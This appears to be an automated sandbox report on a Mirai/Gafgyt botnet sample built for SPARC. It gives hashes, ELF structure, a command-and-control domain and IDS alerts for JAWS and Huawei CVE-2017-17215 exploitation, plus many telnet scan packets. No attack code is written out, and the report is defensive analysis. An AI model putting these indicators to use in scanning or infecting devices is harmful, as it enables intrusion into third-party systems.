http://schemas.xmlsoap.org/soap/envelope/	db0fa4b8db0333367e9bda3ab68b8042.spc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
173.36.192.149	unknown	United States	109	CISCOSYSTEMSUS	false
59.87.115.143	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
149.33.83.129	unknown	United States	174	COGENT-174US	false
219.56.55.68	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
37.124.245.228	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
201.152.185.190	unknown	Mexico	8151	UninetSAdeCVMX	false
118.48.111.77	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
37.99.130.173	unknown	Saudi Arabia	47794	ATHEEB-ASSA	false
61.89.99.245	unknown	Japan	18081	KCNKintetsuCableNetworkCoLtdJP	false
156.193.176.232	unknown	Egypt	8452	TE-ASTE-ASEG	false
117.11.224.250	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
219.219.36.182	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
202.41.69.145	unknown	India	10225	NETTLINX-IN-APNettlinxLimitedIN	false
156.135.155.186	unknown	Switzerland	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
202.175.229.255	unknown	Philippines	9658	ETPI-IDS-AS-APEasternTelecomsPhilsIncPH	false
41.19.112.143	unknown	South Africa	29975	VODACOM-ZA	false
41.21.227.42	unknown	South Africa	36994	Vodacom-VBZA	false
2.21.254.50	unknown	European Union	34164	AKAMAI-LONGB	false
123.91.27.216	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
157.214.20.154	unknown	United States	4704	SANNETRakutenMobileIncJP	false
197.4.29.31	unknown	Tunisia	5438	ATI-TN	false
41.240.121.70	unknown	Sudan	36998	SDN-MOBITELSD	false
66.34.11.148	unknown	United States	54489	CORESPACE-DALUS	false
197.243.212.139	unknown	Namibia	37009	MTCASNNA	false
156.230.19.172	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
128.150.205.145	unknown	United States	102	NSF-HQ-ASUS	false
156.114.21.30	unknown	Netherlands	13639	ING-AMERICAS-WHOLESALEUS	false
148.249.43.84	unknown	Mexico	8151	UninetSAdeCVMX	false
145.40.240.34	unknown	Netherlands	8758	IWAYCH	false
198.235.97.226	unknown	Canada	13997	RD-CHI-ASUS	false
133.234.153.251	unknown	Japan	7682	HOTNETHOKKAIDOTELECOMMUNICATIONSNETWORKCoIncJP	false
156.247.76.112	unknown	Seychelles	54600	PEGTECHINCUS	false
197.73.132.106	unknown	South Africa	16637	MTNNS-ASZA	false
156.217.213.3	unknown	Egypt	8452	TE-ASTE-ASEG	false
118.124.140.72	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.102.136.83	unknown	Algeria	36947	ALGTEL-ASDZ	false
114.179.5.121	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
39.248.137.113	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
41.190.177.121	unknown	unknown	36974	AFNET-ASCI	false
178.153.204.175	unknown	Qatar	42298	GCC-MPLS-PEERINGGCCMPLSpeeringQA	false
135.1.190.10	unknown	United States	10455	LUCENT-CIOUS	false
90.202.191.147	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
2.98.84.5	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
49.121.215.181	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
37.16.93.154	unknown	Germany	12897	HEAGMEDIANETDarmstadtGermanyDE	false
148.157.94.105	unknown	United States	18715	NYPAUS	false
156.176.96.222	unknown	Egypt	36992	ETISALAT-MISREG	false
197.217.101.176	unknown	Angola	11259	ANGOLATELECOMAO	false
109.253.86.37	unknown	Israel	1680	NV-ASNCELLCOMltdIL	false
131.236.171.102	unknown	Australia	23859	UNSW-AS-APUniversityofNewSouthWalesAU	false
128.105.143.249	unknown	United States	59	WISC-MADISON-ASUS	false
41.102.91.1	unknown	Algeria	36947	ALGTEL-ASDZ	false
49.29.229.54	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
76.145.253.120	unknown	United States	7922	COMCAST-7922US	false
41.124.253.210	unknown	South Africa	16637	MTNNS-ASZA	false
131.22.149.78	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
58.238.234.10	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
171.25.8.222	unknown	Switzerland	34457	AMB-GENERALIDE	false
2.229.148.238	unknown	Italy	12874	FASTWEBIT	false
37.118.210.45	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
197.213.165.219	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
157.124.15.233	unknown	Finland	1738	OKOBANK-ASEU	false
197.47.0.101	unknown	Egypt	8452	TE-ASTE-ASEG	false
194.218.140.95	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
92.191.124.22	unknown	France	12479	UNI2-ASES	false
123.105.213.32	unknown	Japan	9595	XEPHIONNTT-MECorporationJP	false
197.60.6.45	unknown	Egypt	8452	TE-ASTE-ASEG	false
202.159.212.88	unknown	India	17813	MTNL-APMahanagarTelephoneNigamLimitedIN	false
156.141.254.144	unknown	United States	29975	VODACOM-ZA	false
41.34.127.153	unknown	Egypt	8452	TE-ASTE-ASEG	false
136.4.169.212	unknown	United States	60311	ONEFMCH	false
118.218.14.97	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
32.184.254.8	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
41.136.127.17	unknown	Mauritius	23889	MauritiusTelecomMU	false
138.139.122.172	unknown	United States	5972	DNIC-ASBLK-05800-06055US	false
155.166.228.108	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
197.132.31.204	unknown	Egypt	24835	RAYA-ASEG	false
167.141.254.58	unknown	United States	174	COGENT-174US	false
197.226.240.23	unknown	Mauritius	23889	MauritiusTelecomMU	false
41.134.159.141	unknown	South Africa	10474	OPTINETZA	false
210.138.125.25	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
212.232.72.173	unknown	Russian Federation	39102	AS-ATHMbrandAtHomeRU	false
49.241.250.202	unknown	Japan	10013	FBDCFreeBitCoLtdJP	false
197.192.154.227	unknown	Egypt	36992	ETISALAT-MISREG	false
184.38.86.56	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
41.127.73.149	unknown	South Africa	16637	MTNNS-ASZA	false
97.145.0.91	unknown	United States	6167	CELLCO-PARTUS	false
145.126.60.19	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
41.171.231.144	unknown	South Africa	36937	Neotel-ASZA	false
182.87.83.132	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.146.203.216	unknown	United States	1448	UNITED-BROADBANDUS	false
197.251.50.154	unknown	Sudan	37197	SUDRENSD	false
2.239.16.70	unknown	Italy	12874	FASTWEBIT	false
156.0.172.193	unknown	South Africa	328112	Linux-Based-Systems-Design-ASZA	false
198.217.52.189	unknown	United States	3354	THENET-AS-3354US	false
197.117.17.186	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.196.116.101	unknown	Egypt	24863	LINKdotNET-ASEG	false
193.130.254.197	unknown	United Kingdom	702	UUNETUS	false
156.147.46.197	unknown	Korea Republic of	4668	LGNET-AS-KRLGCNSKR	false
24.246.174.121	unknown	United States	53488	MORRISBBUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
59.87.115.143	omLMIQ8D45.elf	Get hash	malicious	Mirai	Browse
149.33.83.129	X6BAZPdDfT.elf	Get hash	malicious	Mirai	Browse
219.56.55.68	sora.x86.elf	Get hash	malicious	Mirai	Browse
37.124.245.228	skid.mips	Get hash	malicious	Gafgyt, Mirai	Browse
	ymksyJbwnx	Get hash	malicious	Mirai	Browse
	hSVdBsYfVZ	Get hash	malicious	Mirai	Browse
156.193.176.232	x86.elf	Get hash	malicious	Mirai	Browse
	zD14KmNUNc.elf	Get hash	malicious	Mirai	Browse
	arm7-20230704-0803.elf	Get hash	malicious	Mirai, Moobot	Browse
	SLHCSuaPxF	Get hash	malicious	Mirai	Browse
	JIUq8a4ITS	Get hash	malicious	Mirai	Browse
	v6clgzEGCb	Get hash	malicious	Unknown	Browse
118.48.111.77	arm7	Get hash	malicious	Mirai	Browse
202.41.69.145	armv6l-20230706-2014.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plutoc2.site	db0fa4b8db0333367e9bda3ab68b8042.i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	212.227.135.15
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	212.227.135.15
	db0fa4b8db0333367e9bda3ab68b8042.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	212.227.63.113
	db0fa4b8db0333367e9bda3ab68b8042.i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	212.227.63.113
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	212.227.63.113
	db0fa4b8db0333367e9bda3ab68b8042.spc.elf	Get hash	malicious	Mirai, Gafgyt	Browse	212.227.63.113
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	212.227.63.113
	9zldYT23H2.elf	Get hash	malicious	Mirai, Gafgyt	Browse	92.249.48.84
	JJLOVjVrYv.elf	Get hash	malicious	Mirai, Gafgyt	Browse	172.236.29.44
	VDRitLeYgi.elf	Get hash	malicious	Mirai, Gafgyt	Browse	172.236.29.44

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CISCOSYSTEMSUS	ppc.elf	Get hash	malicious	Mirai	Browse	72.163.254.237
	nsharm.elf	Get hash	malicious	Mirai	Browse	72.163.254.243
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	171.70.112.114
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	64.103.21.88
	armv6l.elf	Get hash	malicious	Mirai	Browse	64.101.58.208
	armv4l.elf	Get hash	malicious	Unknown	Browse	173.37.231.2
	TRC.spc.elf	Get hash	malicious	Mirai	Browse	171.71.97.149
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	171.68.55.26
	Josho.arm.elf	Get hash	malicious	Unknown	Browse	72.163.45.47
	jew.sh4.elf	Get hash	malicious	Unknown	Browse	72.163.94.28
UCOMARTERIANetworksCorporationJP	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	58.158.28.187
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	221.253.48.203
	armv6l.elf	Get hash	malicious	Mirai	Browse	221.252.199.81
	armv5l.elf	Get hash	malicious	Mirai	Browse	124.38.136.79
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	122.216.35.43
	armv5l.elf	Get hash	malicious	Mirai	Browse	113.38.245.180
	nklarm7.elf	Get hash	malicious	Unknown	Browse	113.42.88.177
	nabarm.elf	Get hash	malicious	Unknown	Browse	59.159.90.93
	splmips.elf	Get hash	malicious	Unknown	Browse	221.250.98.142
	nabmips.elf	Get hash	malicious	Unknown	Browse	221.243.74.231
GIGAINFRASoftbankBBCorpJP	db0fa4b8db0333367e9bda3ab68b8042.i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	221.51.33.66
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	221.85.80.49
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	126.201.143.197
	xd.x86.elf	Get hash	malicious	Mirai	Browse	221.99.39.19
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	126.89.187.193
	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	60.101.203.73
	telnet.ppc.elf	Get hash	malicious	Unknown	Browse	219.180.64.28
	telnet.arm.elf	Get hash	malicious	Unknown	Browse	219.209.94.182
	armv4l.elf	Get hash	malicious	Mirai	Browse	221.83.137.132
	armv5l.elf	Get hash	malicious	Mirai	Browse	126.133.193.155
COGENT-174US	db0fa4b8db0333367e9bda3ab68b8042.i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	216.28.86.0
	db0fa4b8db0333367e9bda3ab68b8042.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	38.51.219.172
	db0fa4b8db0333367e9bda3ab68b8042.spc.elf	Get hash	malicious	Mirai, Gafgyt	Browse	38.10.253.126
	6ee7HCp9cD.exe	Get hash	malicious	Quasar	Browse	149.50.108.116
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	38.190.108.87
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	38.4.108.178
	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	38.93.54.69
	armv6l.elf	Get hash	malicious	Mirai	Browse	38.225.230.112
	telnet.x86.elf	Get hash	malicious	Unknown	Browse	38.162.177.172
	armv5l.elf	Get hash	malicious	Mirai	Browse	38.152.226.178

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.2083899390798045
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	db0fa4b8db0333367e9bda3ab68b8042.spc.elf
File size:	85'768 bytes
MD5:	faa63670c8d8713596ac087b84c7f7b0
SHA1:	80c73f2a38b45b66e755d349490c3142f79b4381
SHA256:	bcb833be3ae52705082c9ac31ac9149434e5956ca2b807997ebca110d8f3c69a
SHA512:	3e67bdbf6626e3350c55e47a61f4ef6b99bb917db7c79b8778133466f86d057c8863f8434cc805bc6dbef331b297434c857a3d7021d0e1012cec04bd5f0927e6
SSDEEP:	1536:EVvZWL9SciDY+rsCMeJ3WT6vK85El4HbEXNIwcdIbJ:ov1jyhevUl4HbicK
TLSH:	40835B25B93A2E17C1E4A0BF02B78315B2E5274E24B4C75DBD720F4EFF18690246797A
File Content Preview:	.ELF...........................4..Mx.....4. ...(......................J...J...............J...J...J....l............dt.Q................................@..(....@.K.................#.....a8..`.....!....."...@.....".........`......$"..."...@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	85368
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x12fa4	0x0	0x6	AX	4
.fini	PROGBITS	0x23054	0x13054	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x23068	0x13068	0x1a60	0x0	0x2	A	8
.ctors	PROGBITS	0x34acc	0x14acc	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x34ad4	0x14ad4	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x34ae0	0x14ae0	0x258	0x0	0x3	WA	8
.bss	NOBITS	0x34d38	0x14d38	0x4a8	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x14d38	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x14ac8	0x14ac8	6.2284	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x14acc	0x34acc	0x34acc	0x26c	0x714	2.9264	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-28T20:41:50.122820+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33736	109.164.34.114	443	TCP
2024-12-28T20:41:51.106292+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58514	117.193.41.179	443	TCP
2024-12-28T20:42:02.782389+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54200	118.52.130.141	80	TCP
2024-12-28T20:42:02.782389+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54200	118.52.130.141	80	TCP
2024-12-28T20:42:03.325358+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50306	23.211.201.140	80	TCP
2024-12-28T20:42:03.325358+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50306	23.211.201.140	80	TCP
2024-12-28T20:42:04.037352+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58948	81.163.205.48	80	TCP
2024-12-28T20:42:04.037352+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58948	81.163.205.48	80	TCP
2024-12-28T20:42:04.976694+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41650	199.106.109.74	80	TCP
2024-12-28T20:42:04.976694+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41650	199.106.109.74	80	TCP
2024-12-28T20:42:05.276107+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47546	197.245.207.101	37215	TCP
2024-12-28T20:42:06.609907+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50294	197.12.138.143	37215	TCP
2024-12-28T20:42:06.884682+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54492	197.144.154.171	37215	TCP
2024-12-28T20:42:07.743099+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52560	197.220.97.129	37215	TCP
2024-12-28T20:42:13.312977+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59946	188.241.28.41	80	TCP
2024-12-28T20:42:13.312977+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59946	188.241.28.41	80	TCP
2024-12-28T20:42:14.039562+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60354	120.77.181.86	80	TCP
2024-12-28T20:42:14.039562+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60354	120.77.181.86	80	TCP
2024-12-28T20:42:14.168897+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34558	146.245.41.22	80	TCP
2024-12-28T20:42:14.168897+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34558	146.245.41.22	80	TCP
2024-12-28T20:42:14.444493+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48928	172.65.133.205	80	TCP
2024-12-28T20:42:14.444493+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48928	172.65.133.205	80	TCP
2024-12-28T20:42:14.449026+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44702	109.108.183.87	80	TCP
2024-12-28T20:42:14.449026+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44702	109.108.183.87	80	TCP
2024-12-28T20:42:17.249834+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50932	120.119.185.146	80	TCP
2024-12-28T20:42:17.249834+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50932	120.119.185.146	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 20:41:50.020904064 CET	28664	23	192.168.2.23	175.137.41.179
Dec 28, 2024 20:41:50.020951986 CET	28664	23	192.168.2.23	50.75.204.179
Dec 28, 2024 20:41:50.020962000 CET	28664	23	192.168.2.23	110.251.173.26
Dec 28, 2024 20:41:50.020987988 CET	28664	23	192.168.2.23	142.37.5.235
Dec 28, 2024 20:41:50.020992994 CET	28664	23	192.168.2.23	25.34.255.90
Dec 28, 2024 20:41:50.021003008 CET	28664	23	192.168.2.23	62.72.65.175
Dec 28, 2024 20:41:50.021023989 CET	28664	23	192.168.2.23	175.141.114.61
Dec 28, 2024 20:41:50.021023989 CET	28664	23	192.168.2.23	75.235.139.164
Dec 28, 2024 20:41:50.021027088 CET	28664	23	192.168.2.23	191.244.18.223
Dec 28, 2024 20:41:50.021028042 CET	28664	23	192.168.2.23	213.208.45.141
Dec 28, 2024 20:41:50.021038055 CET	28664	23	192.168.2.23	82.176.89.35
Dec 28, 2024 20:41:50.021048069 CET	28664	23	192.168.2.23	158.75.16.150
Dec 28, 2024 20:41:50.021051884 CET	28664	23	192.168.2.23	111.237.135.163
Dec 28, 2024 20:41:50.021051884 CET	28664	23	192.168.2.23	162.228.45.51
Dec 28, 2024 20:41:50.021051884 CET	28664	23	192.168.2.23	59.31.226.64
Dec 28, 2024 20:41:50.021058083 CET	28664	23	192.168.2.23	154.174.32.71
Dec 28, 2024 20:41:50.021064997 CET	28664	23	192.168.2.23	95.196.176.104
Dec 28, 2024 20:41:50.021070004 CET	28664	23	192.168.2.23	19.162.86.20
Dec 28, 2024 20:41:50.021071911 CET	28664	23	192.168.2.23	17.199.150.202
Dec 28, 2024 20:41:50.021075964 CET	28664	23	192.168.2.23	38.80.128.85
Dec 28, 2024 20:41:50.021099091 CET	28664	23	192.168.2.23	74.134.205.25
Dec 28, 2024 20:41:50.021105051 CET	28664	23	192.168.2.23	2.39.165.131
Dec 28, 2024 20:41:50.021105051 CET	28664	23	192.168.2.23	187.215.1.242
Dec 28, 2024 20:41:50.021116018 CET	28664	23	192.168.2.23	193.23.247.22
Dec 28, 2024 20:41:50.021116018 CET	28664	23	192.168.2.23	166.13.222.1
Dec 28, 2024 20:41:50.021116018 CET	28664	23	192.168.2.23	164.4.95.37
Dec 28, 2024 20:41:50.021131992 CET	28664	23	192.168.2.23	191.109.200.72
Dec 28, 2024 20:41:50.021135092 CET	28664	23	192.168.2.23	140.228.54.173
Dec 28, 2024 20:41:50.021140099 CET	28664	23	192.168.2.23	36.177.134.220
Dec 28, 2024 20:41:50.021140099 CET	28664	23	192.168.2.23	20.27.23.74
Dec 28, 2024 20:41:50.021141052 CET	28664	23	192.168.2.23	37.186.157.151
Dec 28, 2024 20:41:50.021142960 CET	28664	23	192.168.2.23	139.115.226.179
Dec 28, 2024 20:41:50.021162987 CET	28664	23	192.168.2.23	35.185.100.198
Dec 28, 2024 20:41:50.021162987 CET	28664	23	192.168.2.23	77.143.27.58
Dec 28, 2024 20:41:50.021164894 CET	28664	23	192.168.2.23	23.61.134.145
Dec 28, 2024 20:41:50.021164894 CET	28664	23	192.168.2.23	41.230.124.43
Dec 28, 2024 20:41:50.021183968 CET	28664	23	192.168.2.23	61.140.210.111
Dec 28, 2024 20:41:50.021184921 CET	28664	23	192.168.2.23	106.76.28.184
Dec 28, 2024 20:41:50.021187067 CET	28664	23	192.168.2.23	148.85.81.141
Dec 28, 2024 20:41:50.021195889 CET	28664	23	192.168.2.23	72.80.185.7
Dec 28, 2024 20:41:50.021209002 CET	28664	23	192.168.2.23	44.108.152.32
Dec 28, 2024 20:41:50.021224022 CET	28664	23	192.168.2.23	188.115.241.247
Dec 28, 2024 20:41:50.021226883 CET	28664	23	192.168.2.23	5.67.144.25
Dec 28, 2024 20:41:50.021229982 CET	28664	23	192.168.2.23	78.35.176.214
Dec 28, 2024 20:41:50.021229982 CET	28664	23	192.168.2.23	105.88.106.163
Dec 28, 2024 20:41:50.021239042 CET	28664	23	192.168.2.23	120.248.63.167
Dec 28, 2024 20:41:50.021243095 CET	28664	23	192.168.2.23	76.175.70.31
Dec 28, 2024 20:41:50.021253109 CET	28664	23	192.168.2.23	83.133.4.49
Dec 28, 2024 20:41:50.021265030 CET	28664	23	192.168.2.23	202.246.187.248
Dec 28, 2024 20:41:50.021265030 CET	28664	23	192.168.2.23	35.162.157.101
Dec 28, 2024 20:41:50.021265030 CET	28664	23	192.168.2.23	107.98.236.4
Dec 28, 2024 20:41:50.021266937 CET	28664	23	192.168.2.23	194.194.38.144
Dec 28, 2024 20:41:50.021269083 CET	28664	23	192.168.2.23	128.109.149.206
Dec 28, 2024 20:41:50.021269083 CET	28664	23	192.168.2.23	222.235.179.173
Dec 28, 2024 20:41:50.021282911 CET	28664	23	192.168.2.23	166.216.147.234
Dec 28, 2024 20:41:50.021282911 CET	28664	23	192.168.2.23	88.161.200.156
Dec 28, 2024 20:41:50.021285057 CET	28664	23	192.168.2.23	115.134.251.98
Dec 28, 2024 20:41:50.021300077 CET	28664	23	192.168.2.23	157.80.6.52
Dec 28, 2024 20:41:50.021300077 CET	28664	23	192.168.2.23	134.117.80.60
Dec 28, 2024 20:41:50.021311998 CET	28664	23	192.168.2.23	160.165.200.249
Dec 28, 2024 20:41:50.021312952 CET	28664	23	192.168.2.23	121.251.132.222
Dec 28, 2024 20:41:50.021317005 CET	28664	23	192.168.2.23	140.18.237.124
Dec 28, 2024 20:41:50.021317005 CET	28664	23	192.168.2.23	186.136.151.115
Dec 28, 2024 20:41:50.021317005 CET	28664	23	192.168.2.23	57.221.120.5
Dec 28, 2024 20:41:50.021332026 CET	28664	23	192.168.2.23	155.142.252.207
Dec 28, 2024 20:41:50.021332026 CET	28664	23	192.168.2.23	79.83.163.179
Dec 28, 2024 20:41:50.021336079 CET	28664	23	192.168.2.23	63.244.187.56
Dec 28, 2024 20:41:50.021348953 CET	28664	23	192.168.2.23	210.98.202.144
Dec 28, 2024 20:41:50.021351099 CET	28664	23	192.168.2.23	34.100.158.199
Dec 28, 2024 20:41:50.021357059 CET	28664	23	192.168.2.23	147.93.69.242
Dec 28, 2024 20:41:50.021369934 CET	28664	23	192.168.2.23	184.4.1.219
Dec 28, 2024 20:41:50.021374941 CET	28664	23	192.168.2.23	129.55.100.225
Dec 28, 2024 20:41:50.021377087 CET	28664	23	192.168.2.23	155.231.81.24
Dec 28, 2024 20:41:50.021399021 CET	28664	23	192.168.2.23	186.44.115.35
Dec 28, 2024 20:41:50.021399021 CET	28664	23	192.168.2.23	101.216.50.184
Dec 28, 2024 20:41:50.021399021 CET	28664	23	192.168.2.23	92.60.242.216
Dec 28, 2024 20:41:50.021403074 CET	28664	23	192.168.2.23	99.20.108.157
Dec 28, 2024 20:41:50.021430016 CET	28664	23	192.168.2.23	192.86.5.211
Dec 28, 2024 20:41:50.021439075 CET	28664	23	192.168.2.23	53.131.222.198
Dec 28, 2024 20:41:50.021440029 CET	28664	23	192.168.2.23	192.86.68.14
Dec 28, 2024 20:41:50.021440029 CET	28664	23	192.168.2.23	159.219.2.252
Dec 28, 2024 20:41:50.021456957 CET	28664	23	192.168.2.23	165.150.214.212
Dec 28, 2024 20:41:50.021456957 CET	28664	23	192.168.2.23	64.161.25.162
Dec 28, 2024 20:41:50.021457911 CET	28664	23	192.168.2.23	90.74.254.140
Dec 28, 2024 20:41:50.021461964 CET	28664	23	192.168.2.23	157.245.87.29
Dec 28, 2024 20:41:50.021461964 CET	28664	23	192.168.2.23	90.227.34.252
Dec 28, 2024 20:41:50.021478891 CET	28664	23	192.168.2.23	199.232.103.251
Dec 28, 2024 20:41:50.021480083 CET	28664	23	192.168.2.23	88.10.230.169
Dec 28, 2024 20:41:50.021481037 CET	28664	23	192.168.2.23	63.253.103.218
Dec 28, 2024 20:41:50.021481037 CET	28664	23	192.168.2.23	50.15.157.145
Dec 28, 2024 20:41:50.021490097 CET	28664	23	192.168.2.23	139.178.126.66
Dec 28, 2024 20:41:50.021501064 CET	28664	23	192.168.2.23	61.82.124.208
Dec 28, 2024 20:41:50.021502972 CET	28664	23	192.168.2.23	116.153.80.105
Dec 28, 2024 20:41:50.021502972 CET	28664	23	192.168.2.23	130.43.237.196
Dec 28, 2024 20:41:50.021512985 CET	28664	23	192.168.2.23	107.107.239.12
Dec 28, 2024 20:41:50.021519899 CET	28664	23	192.168.2.23	108.166.50.155
Dec 28, 2024 20:41:50.021527052 CET	28664	23	192.168.2.23	165.165.121.83
Dec 28, 2024 20:41:50.021549940 CET	28664	23	192.168.2.23	174.176.130.6
Dec 28, 2024 20:41:50.021549940 CET	28664	23	192.168.2.23	130.67.28.42
Dec 28, 2024 20:41:50.021549940 CET	28664	23	192.168.2.23	85.17.61.12
Dec 28, 2024 20:41:50.021554947 CET	28664	23	192.168.2.23	169.211.65.234
Dec 28, 2024 20:41:50.021572113 CET	28664	23	192.168.2.23	78.161.26.53
Dec 28, 2024 20:41:50.021574020 CET	28664	23	192.168.2.23	185.56.252.89
